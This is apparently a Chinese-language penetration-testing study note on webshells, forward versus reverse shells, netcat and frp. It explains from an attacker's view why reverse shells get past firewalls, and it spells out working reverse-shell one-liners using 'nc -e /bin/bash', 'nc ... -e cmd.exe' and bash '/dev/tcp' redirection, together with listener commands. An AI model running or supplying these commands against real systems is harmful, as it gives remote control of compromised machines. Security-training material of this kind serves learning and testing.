一、连接shell
webshell的定义:web下的执行环境,shell是用于与操作系统进行交互的用户界面
- 正向shell:控制端主动发起连接去连接被控制端(不稳定、容易被拦截)
- 反向shell:被控制端主动连接控制端
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如:硬件设备有防火墙、入侵检测系统、网站防火墙、端口被占用、权限不足等,一旦被防火墙拦截导致打草惊蛇、后期攻击相当繁琐。而被控制端主动向外发送的数据包通常都不会被拦截。
而正向不可⽤的情况:
- 客户中了我的⽹⻢,他在内⽹
- 由于防⽕墙的限制,⽬标只能出,不能⼊
- 病毒、⽊⻢,受害者什么时候去执⾏、⽹络环境,未知的
- 攻击者去连接我们的服务器
二、反向shell
1、工具:nc(netcat)
nc,也称为netcat,是一款功能强大的网络工具,可以在网络上进行数据传输。它支持TCP、UDP、UNIX域套接字等多种协议,可以用于测试和调试网络,以及在网络上传输文件等。由于nc的简单易用和灵活性,它被广泛用于网络安全、网络编程和系统管理等领域。nc则更注重网络数据传输和测试调试。
2、工具:bash(Linux特有的)
3、工具:frp
FRP是一款支持内网穿透的高性能反向代理工具,主要用于将内网服务映射到公网上,从而实现公网访问内网服务的功能。。FRP主要用于内网穿透和服务映射
三、正向shell
payload:
s:nc -lvvp 指定端口 -e /bin/bash
四、NC网络数据传输
⽹络⼯具中的瑞⼠军⼑,收发包
netcat / ncat (不是同一个命令):可以接受信息
原理:
Netcat的主要作用是在网络的两端建立一条数据传输通道。当我们执行Netcat命令时,它会先创建一个socket(套接字),然后通过指定的协议和地址来监听或连接到目标主机或端口。一旦建立连接,Netcat就可以读取或写入数据了。
Netcat的工作流程如下:
1. 创建socket:Netcat首先会创建一个socket,这个socket是一个与网络接口(网络适配器)通信的端点。这个socket可以是TCP、UDP、Unix域套接字等类型。
2. 指定协议和地址:通过命令行参数指定要使用的协议和地址,例如:`nc -l 8000` 将在本地监听8000端口,使用TCP协议。
3. 建立连接:如果是监听模式,Netcat将在指定端口上监听连接请求。如果是连接模式,Netcat将尝试与指定的远程主机和端口建立连接。
4. 读取或写入数据:一旦建立连接,Netcat就可以读取或写入数据了。如果是监听模式,Netcat将等待连接请求并读取连接客户端发送的数据。如果是连接模式,Netcat将向指定的远程主机和端口发送数据。
参数:
- -l:listen 监听
- -vv:详细信息
- -p:port 端⼝
- -n:以ip的形式去连接地址
- -c|-e:执⾏命令(危险参数,在高版本Linux中被删除,改为ncat。如果需要,得特殊下载)
下载安装:
Linux:yum install nc
Windows:https://eternallybored.org/misc/netcat/
payload:
s(service):
nc -lvvp 指定端口 #vps监听,详细监听端口下的信息
c(client):
(Linux)nc -e /bin/bash s的ip地址 指定端口
(不是所以的Linux都有/bin/bash,但是基本上都有/bin/sh)
(Windows)nc 192.168.19.134 55555 -e cmd.exe
(但是无法反弹shell,只能进行上传nc.exe,在nc中进行反弹)
bash(若没有nc,则可以使用Linux自带的bash)
Payload:
s:nc -lvvp 指定端口 #vps监听
c:/bin/bash -i>& /dev/tcp/s的ip地址/指定端口 0>&1 #被控端反弹(kali不行,没有这个目录)
注意:
1、因为nc这个操作简单,所以较新的版本的Ubuntu和centos删除了nc的-e参数
2、NC命令的使用可能受到操作系统、版本等方面的限制,需要注意使用
3、NC传输的文件必须是在同一种操作系统之间进行传输,不同操作系统之间的NC传输可能存在诸多问题
4、NC传输的文件必须是同一种编码格式,否则可能出现乱码。